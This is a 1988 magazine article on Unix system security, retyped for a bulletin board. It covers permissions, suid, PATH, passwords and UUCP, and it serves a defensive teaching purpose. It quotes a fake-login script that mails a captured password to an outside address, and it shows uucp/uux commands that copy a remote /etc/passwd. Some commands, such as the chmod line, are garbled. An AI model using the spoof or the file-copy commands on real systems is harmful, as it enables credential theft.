+--------------------------------------+

                  |     "Unix System Security Issues"    |

                  |              Typed by:               |

                  |               Whisky                 |

                  |         (from Holland, Europe)       |

                  +--------------------------------------+

                  |                 From                 |

                  |            Information Age           |

                  |     Vol. 11, Number 2, April 1988    |

                  |              Written By:             |

                  | Michael J. Knox and Edward D. Bowden |

                  +--------------------------------------+



Note:  This file was sent to me from a friend in Holland. I felt

       that it would be a good idea to present this file to the

       UNIX-hacker community, to show that hackers don't always

       harm systems, but sometimes look for ways to secure flaws

       in existing systems.  -- Jester Sluggo !!



There are a number of elements that have lead to the popularity of the

Unix operating system in the world today. The most notable factors are

its portability among hardware platforms and the interactive programming

environment that it offers to users. In fact, these elements have had

much to do with the succesful evolution of the Unix system in the

commercial market place. (1, 2)

  As the Unix system expands further into industry and government, the

need to handle Unix system security will no doubt become imperative. For

example, the US government is committing several millon dollars a year

for the Unix system and its supported hardware. (1) The security

requirements for the government are tremendous, and one can only guess

at the future needs of security in industry.

  In this paper, we will cover some of the more fundamental security

risks in the Unix system. Discussed are common causes of Unix system

compromise in such areas as file protecion, password security,

networking and hacker violations. In our conclusion, we will comment

upon ongoing effects in Unix system security, and their direct influence

on the portability of the Unix operating system.



FILE AND DIRECTORY SECURITY



In the Unix operating system environment, files and directories are

organized in a tree structure with specific access modes. The setting of

these modes, through permission bits (as octal digits), is the basis of

Unix system security. Permission bits determine how users can access

files and the type of access they are allowed. There are three user

access modes for all Unix system files and directories: the owner, the

group, and others. Access to read, write and execute within each of the

usertypes is also controlled by permission bits (Figure 1). Flexibility

in file security is convenient, but it has been criticized as an area of

system security compromise.





                        Permission modes

OWNER                        GROUP                    OTHERS

------------------------------------------------------------

rwx            :             rwx            :         rwx

------------------------------------------------------------

r=read  w=write  x=execute



-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file

drwx------ 2 sam A1 2 May 01 12:01 directory



FIGURE 1.  File and directory modes: File shows Bob as the owner, with

read and write permission. Group has write permission, while Others has

read and execute permission. The directory gives a secure directory not

readable, writeable, or executable by Group and Others.





  Since the file protection mechanism is so important in the Unix

operating system, it stands to reason that the proper setting of

permission bits is required for overall security. Aside from user

ignorance, the most common area of file compromise has to do with the

default setting of permission bits at file creation. In some systems the

default is octal 644, meaning that only the file owner can write and

read to a file, while all others can only read it. (3) In many "open"

environments this may be acceptable. However, in cases where sensitive

data is present, the access for reading by others should be turned off.

The file utility umask does in fact satisfy this requirement. A

suggested setting, umask 027, would enable all permission for the file

owner, disable write permission to the group, and disable permissions

for all others (octal 750). By inserting this umask command in a user

.profile or .login file, the default will be overritten by the new

settings at file creation.

  The CHMOD utility can be used to modify permission settings on files

and directories. Issuing the following command,



chmod u+rwd,g+rw,g-w,u-rwx file



will provide the file with the same protection as the umask above

(octal 750). Permission bits can be relaxed with chmod at a later

time, but at least initially, the file structure can be made secure

using a restrictive umask.

  By responsible application of such utilities as umask and chmod, users

can enhance file system security. The Unix system, however, restricts

the security defined by the user to only owner, group and others. Thus,

the owner of the file cannot designate file access to specific users. As

Kowack and Healy have pointed out, "The granularity of control that

(file security) mechanisms is often insufficient in practice (...) it is

not possible to grant one user write protection to a directory while

granting another read permission to the same directory. (4) A useful

file security file security extension to the Unix system might be

Multics style access control lists.

  With access mode vulnerabilities in mind, users should pay close

attention to files and directories under their control, and correct

permissions whenever possible. Even with the design limitations in mode

granularity, following a safe approach will ensure a more secure Unix

system file structure.



SUID and SGID



The set user id (suid) and set group id (sgid) identify the user and

group ownership of a file. By setting the suid or sgid permission bits

of an executable file, other users can gain acces to the same resources

(via the executable file) as that of the real file's owner.



For Example:



Let Bob's program bob.x be an executable file accessible to others. When

Mary executes bob.x, Mary becomes the new program owner. If during

program execution bob.x requests access to file browse.txt, then Mary

must have previous read or write permission to browse.txt. This would

allow Mary and everyone else total access to the contents of browse.txt,

even when she is not running bob.x. By turning on the suid bit of bob.x,

Mary will have the same access permissions to browse.txt as does the

program's real owner, but she will only have access to browse.txt during

the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome

browsers will be prevented form accessing files like browse.txt



  Although this feature appears to offer substantial access control to

Unix system files, it does have one critical drawback. There is always

the chance that the superuser (system administrator) may have a writable

file for others that is also set with suid. With some modification in

the file's code (by a hacker), an executable file like this would enable

a user to become a superuser. Within a short period of time this

violator could completely compromise system security and make it

inaccessible, even to other superusers. As Farrow (5) puts it, "(...)

having a set-user-id copy of the shell owned by root is better than

knowing the root password".

  To compensate for this security threat, writable suid files should be

sought out and eliminated by the system administrator. Reporting of such

files by normal users is also essential in correcting existing security

breaches.



DIRECTORIES



Directory protection is commonly overlooked component of file security

in the Unix system. Many system administrators and users are unaware of

the fact, that "publicly writable directories provide the most

opportunities for compromising the Unix system security" (6).

Administrators tend to make these "open" for users to move around and

access public files and utilities. This can be disastrous, since files

and other subdirectories within writable directories can be moved out

and replaced with different versions, even if contained files are

unreadable or unwritable to others. When this happens, an unscrupulous

user or a "password breaker" may supplant a Trojan horse of a commonly

used system utility (e.g. ls, su, mail and so on). For example, imagine



For example:



Imagine that the /bin directory is publicly writable. The perpetrator

could first remove the old su version (with rm utility) and then

include his own fake su to read the password of users who execute

this utility.



  Although writable directories can destroy system integrity, readable

ones can be just as damaging. Sometimes files and directories are

configured to permit read access by other. This subtle convenience can

lead to unauthorized disclosure of sensitive data: a serious matter when

valuable information is lost to a business competitor.

  As a general rule, therefore, read and write access should be removed

from all but system administrative directories. Execute permission will

allow access to needed files; however, users might explicitly name the

file they wish to use. This adds some protection to unreadable and

unwritable directories. So, programs like lp file.x in an unreadable

directory /ddr will print the contents of file.x, while ls/ddr would not

list the contents of that directory.



PATH VARIABLE



PATH is an environment variable that points to a list of directories,

which are searched when a file is requested by a process. The order of

that search is indicated by the sequence of the listed directories in

the PATH name. This variable is established at user logon and is set up

in the users .profile of .login file.

  If a user places the current directory as the first entry in PATH,

then programs in the current directory will be run first. Programs in

other directories with the same name will be ignored. Although file and

directory access is made easier with a PATH variable set up this way, it

may expose the user to pre-existing Trojan horses.

  To illustrate this, assume that a trojan horse, similar to the cat

utility, contains an instruction that imparts access privileges to a

perpetrator. The fake cat is placed in a public directory /usr/his

where a user often works. Now if the user has a PATH variable with the

current directory first, and he enters the cat command while in

/usr/his, the fake cat in /usr/his would be executed but not the system

cat located in /bin.

  In order to prevent this kind of system violation, the PATH variable

must be correctly set. First, if at all possible, exclude the current

directory as the first entry in the PATH variable and type the full path

name when invoking Unix system commands. This enhances file security,

but is more cumbersome to work with. Second, if the working directory

must be included in the PATH variable, then it should always be listed

last. In this way, utilities like vi, cat, su and ls will be executed

first from systems directories like /bin and /usr/bin before searching

the user's working directory.



PASSWORD SECURITY



User authentication in the Unix system is accomplished by personal

passwords. Though passwords offer an additional level of security

beyond physical constraints, they lend themselves to the greatest area

of computer system compromise. Lack of user awareness and responsibility

contributes largely to this form of computer insecurity. This is true of

many computer facilities where password identification, authentication

and authorization are required for the access of resources - and the

Unix operating system is no exception.

  Password information in many time-sharing systems are kept in

restricted files that are not ordinarily readable by users. The Unix

system differs in this respect, since it allows all users to have read

access to the /etc/passwd file (FIGURE 2) where encrypted passwords and

other user information are stored. Although the Unix system implements a

one-way encryption method, and in most systems a modified version of the

data encryption standard (DES), password breaking methods are known.

Among these methods, brute-force attacks are generally the least

effective, yet techniques involving the use of heuristics (good guesses

and knowledge about passwords) tend to be successful. For example, the

/etc/passwd file contains such useful information as the login name and

comments fields. Login names are especially rewarding to the "password

breaker" since many users will use login variants for passwords

(backward spelling, the appending of a single digit etc.). The comment

field often contains items such as surname, given name, address,

telephone number, project name and so on. To quote Morris and Grampp (7)

in their landmark paper on Unix system security:



  [in the case of logins]



  The authors made a survey of several dozen local machines, using as

  trial passwords a collection of the 20 most common female first names,

  each followed by a single digit. The total number of passwords tried was,

  therefore, 200. At least one of these 200 passwords turned out to be a

  valid password on every machine surveyed.



  [as for comment fields]



  (...) if an intruder knows something about the people using a machine,

  a whole new set of candidates is available. Family and friend's names,

  auto registration numbers, hobbies, and pets are particularly

  productive categories to try interactively in the unlikely event that

  a purely mechanical scan of the password file turns out to be

  disappointing.



Thus, given a persistent system violator, there is a strong evidence,

that he will find some information about users in the /etc/passwd file.

With this in mind, it is obvious that a password file should be

unreadable to everyone except those in charge of system administration.





root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin

mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin



FIGURE 2.  The /etc/passwd file. Note the comments field as underlined

terms.





  Resolution of the /etc/passwd file's readability does not entirely

solve the basic problem with passwords. Educating users and

administrators is necessary to assure proper password utilization.

First, "good passwords are those that are at least six characters long,

aren't based on personal information, and have some nonalphabetic

(especially control) characters in them: 4score, my_name, luv2run" (8).

Secondly, passwords should be changed periodically but users should avoid

alternating between two passwords. Different passwords for different

machines and files will aid in protecting sensitive information.

Finally, passwords should never be available to unauthorized users.

Reduction of user ignorance about poor password choice will inevitably

make a system more secure.



NETWORK SECURITY



UUCP system

The most common Unix system network is the UUCP system, which is a group

of programs that perform the file tranfers and command execution between

remote systems. (3) The problem with the UUCP system is that users on

the network may access other users' files without access permission. As

stated by Nowitz (9),



  The uucp system, left unrestricted, will let any outside user execute

  commands and copy in/out any file that is readable/writable by a uucp

  login user. It is up to the individual sites to be aware of this, and

  apply the protections that they feel free are necessary.



This emphasizes the importance of proper implementation by the system

administrator.

  There are four UUCP system commands to consider when looking into

network security with the Unix system. The first is uucp, a command used

to copy files between two Unix systems. If uucp is not properly

implemented by the system administrator, any outside user can execute

remote commands and copy files from another login user. If the file name

on another system is known, one could use the uucp command to copy files

from that system to their system. For example:



  %uucp system2!/main/src/hisfile myfile



will copy hisfile from system2 in the directory /main/src to the file

myfile in the current local directory. If file transfer restrictions

exist on either system, hisfile would not be sent. If there are no

restrictions, any file could be copied from a remote user - including

the password file. The following would copy the remote system

/etc/passwd file to the local file thanks:



  %uucp system2!/etc/passwd thanks



System administrators can address the uucp matter by restricting uucp

file transfers to the directory /user/spool/uucppublic. (8) If one tries

to transfer a file anywhere else, a message will be returned saying

"remote access to path/file denied" and no file transfer will occur.

  The second UUCP system command to consider is the uux. Its function is

to execute commands on remote Unix computers. This is called remote

command execution and is most often used to send mail between systems

(mail executes the uux command internally).

  The ability to execute a command on another system introduces a

serious security problem if remote command execution is not limited. As

an example, a system should not allow users from another system to

perform the following:



  %uux "system1!cat/usr/spool/uucppublic"



which would cause system1 to send its /etc/passwd file to the system2

uucp public directory. The user of system2 would now have access to the

password file. Therefore, only a few commands should be allowed to

execute remotely. Often the only command allowed to run uux is rmail,

the restricted mail program.

  The third UUCP system function is the uucico (copy in / copy out)

program. It performs the true communication work. Uucp or uux does not

actually call up other systems; instead they are queued and the uucico

program initiates the remote processes. The uucico program uses the file

/usr/uucp/USERFILE to determine what files a remote system may send or

receive. Checks for legal files are the basis for security in USERFILE.

Thus the system administrator should carefully control this file.

  In addition, USERFILE controls security between two Unix systems by

allowing a call-back flag to be set. Therefore, some degree of security

can be achieved by requiring a system to check if the remote system is

legal before a call-back occurs.

  The last UUCP function is the uuxqt. It controls the remote command

execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to

determine which commands will run in response to a remote execution

request. For example, if one wishes to use the electronic mail feature,

then the L.cmd file will contain the line rmail. Since uuxqt determines

what commands will be allowed to execute remotely, commands which may

compromise system security should not be included in L.cmd.



CALL THE UNIX SYSTEM



In addition to UUCP network commands, one should also be cautious of the

cu command (call the Unix system). Cu permits a remote user to call

another computer system. The problem with cu is that a user on a system

with a weak security can use cu to connect to a more secure system and

then install a Trojan horse on the stronger system. It is apparent that

cu should not be used to go from a weaker system to a stronger one, and

it is up to the system administrator to ensure that this never occurs.



LOCAL AREA NETWORKS



With the increased number of computers operating under the Unix system,

some consideration must be given to local area networks (LANs). Because

LANs are designed to transmit files between computers quickly, security

has not been a priority with many LANs, but there are secure LANs under

development. It is the job of the system manager to investigate security

risks when employing LANs.



OTHER AREAS OF COMPROMISE



There are numerous methods used by hackers to gain entry into computer

systems. In the Unix system, Trojan horses, spoofs and suids are the

primary weapons used by trespassers.

  Trojan horses are pieces of code or shell scripts which usually assume

the role of a common utility but when activated by an unsuspecting user

performs some unexpected task for the trespasser. Among the many

different Trojan horses, it is the su masquerade that is the most

dangerous to the Unix system.

  Recall that the /etc/passwd file is readable to others, and also

contains information about all users - even root users. Consider what a

hacker could do if he were able to read this file and locate a root user

with a writable directory. He might easily plant a fake su that would

send the root password back to the hacker. A Trojan horse similar to

this can often be avoided when various security measures are followed,

that is, an etc/passwd file with limited read acces, controlling writable

directories, and the PATH variable properly set.

  A spoof is basically a hoax that causes an unsuspecting victim to

believe that a masquerading computer funtion is actually a real system

operation. A very popular spool in many computer systems is the

terminal-login trap. By displaying a phoney login format, a hacker is

able to capture the user's password.

  Imagine that a root user has temporarily deserted his terminal. A

hacker could quickly install a login process like the one described by

Morris and Grampp (7):



  echo -n "login:"

  read X

  stty -echo

  echo -n "password:"

  read Y

  echo ""

  stty echo

  echo %X%Y|mail outside|hacker&

  sleep 1

  echo Login incorrect

  stty 0>/dev/tty



We see that the password of the root user is mailed to the hacker who

has completely compromised the Unix system. The fake terminal-login acts

as if the user has incorrectly entered the password. It then transfers

control over to the stty process, thereby leaving no trace of its

existence.

  Prevention of spoofs, like most security hazards, must begin with user

education. But an immediate solution to security is sometimes needed

before education can be effected. As for terminal-login spoofs, there

are some keyboard-locking programs that protect the login session while

users are away from their terminals. (8, 10) These locked programs

ignore keyboard-generated interrupts and wait for the user to enter a

password to resume the terminal session.

  Since the suid mode has been previously examined in the password

section, we merely indicate some suid solutions here. First, suid

programs should be used is there are no other alternatives. Unrestrained

suids or sgids can lead to system compromise. Second, a "restricted

shell" should be given to a process that escapes from a suid process to

a child process. The reason for this is that a nonprivileged child

process might inherit privileged files from its parents. Finally, suid

files should be writable only by their owners, otherwise others may have

access to overwrite the file contents.

  It can be seen that by applying some basic security principles, a user

can avoid Trojan horses, spoofs and inappropriate suids. There are

several other techniques used by hackers to compromise system security,

but the use of good judgement and user education may go far in

preventing their occurence.



CONCLUSION



Throughout this paper we have discussed conventional approaches to Unix

system security by way of practical file management, password

protection, and networking. While it can be argued that user eduction is

paramount in maintaining Unix system security (11) factors in human

error will promote some degree of system insecurity. Advances in

protection mechanisms through better-written software (12), centralized

password control (13) and identification devices may result in enhanced

Unix system security.

  The question now asked applies to the future of Unix system operating.

Can existing Unix systems accommodate the security requirements of

government and industry? It appears not, at least for governmental

security projects. By following the Orange Book (14), a government

graded classification of secure computer systems, the Unix system is

only as secure as the C1 criterion. A C1 system, which has a low

security rating (D being the lowest) provides only discretionary

security protection (DSP) against browsers or non-programmer users.

Clearly this is insufficient as far as defense or proprietary security

is concerned. What is needed are fundamental changes to the Unix

security system. This has been recognized by at least three companies,

AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made

vital changes to the kernel and file system in order to produce a C2

rated Unix operating system. To achieve this, however, they have had to

sacrifice some of the portability of the Unix system. It is hoped that

in the near future a Unix system with an A1 classification will be

realized, though not at the expense of losing its valued portability.



REFERENCES



1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)

   pp 50-63

2  Waite, M et al. "Unix system V primer" USA (1984)

3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128

4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld

   Vol 18 (26 September 1984) pp 27-28

5  Farrow, R "Security issues and strategies for users" Unix/World

   (April 1986) pp 65-71

6  Farrow, R "Security for superusers, or how to break the Unix system"

   Unix/World (May 1986) pp 65-70

7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell

   Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672

8  Wood, P H and Kochan, S G "Unix system security" USA (1985)

9  Nowitz, D A "UUCP Implementation description: Unix programmer's manual

   Sec. 2" AT&T Bell Laboratories, USA (1984)

10 Thomas, R "Securing your terminal: two approaches" Unix/World

   (April 1986) pp 73-76

11 Karpinski, D "Security round table (Part 1)" Unix Review

   (October 1984) p 48

12 Karpinski, D "Security round table (Part 2)" Unix Review

   (October 1984) p 48

13 Lobel, J "Foiling the system breakers: computer security and access

   control" McGraw-Hill, USA (1986)

14 National Computer Security Center "Department of Defense trusted

   computer system evaluation criteria" CSC-STD-001-83, USA (1983)

15 Stewart, F "Implementing security under Unix" Systems&Software

   (February 1986)

16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the

   Lock TCB" Proceedings of USENIX (1988)

17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,

   Government System Division, USA (August 1987)

===============================================================================





X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X



 Another file downloaded from:                               NIRVANAnet(tm)



 & the Temple of the Screaming Electron   Jeff Hunter          510-935-5845

 Rat Head                                 Ratsnatcher          510-524-3649

 Burn This Flag                           Zardoz               408-363-9766

 realitycheck                             Poindexter Fortran   415-567-7043

 Lies Unlimited                           Mick Freen           415-583-4102



   Specializing in conversations, obscure information, high explosives,

       arcane knowledge, political extremism, diversive sexuality,

       insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.



  Full access for first-time callers.  We don't want to know who you are,

   where you live, or what your phone number is. We are not Big Brother.



                          "Raw Data for Raw Nerves"



X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X